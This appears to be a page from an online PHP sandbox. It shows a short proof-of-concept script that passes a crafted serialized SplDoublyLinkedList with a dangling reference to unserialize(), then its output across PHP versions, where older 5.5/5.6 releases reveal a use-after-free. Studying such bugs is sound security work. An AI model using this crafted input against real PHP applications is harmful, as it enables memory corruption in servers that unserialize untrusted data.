<?php
$inner = 'i:1;';
$exploit = 'a:2:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
$data = unserialize($exploit);
for($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($data);
- Output for 5.5.28 - 5.5.38, 5.6.12 - 5.6.30, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
- array(2) {
[0]=>
object(SplDoublyLinkedList)#1 (2) {
["flags":"SplDoublyLinkedList":private]=>
int(1)
["dllist":"SplDoublyLinkedList":private]=>
array(0) {
}
}
[1]=>
int(1)
}
- Output for 5.5.0 - 5.5.27, 5.6.0 - 5.6.11
- array(2) {
[0]=>
object(SplDoublyLinkedList)#1 (2) {
["flags":"SplDoublyLinkedList":private]=>
int(1)
["dllist":"SplDoublyLinkedList":private]=>
array(0) {
}
}
[1]=>
string(3) "hi2"
}
preferences:
228.07 ms | 402 KiB | 285 Q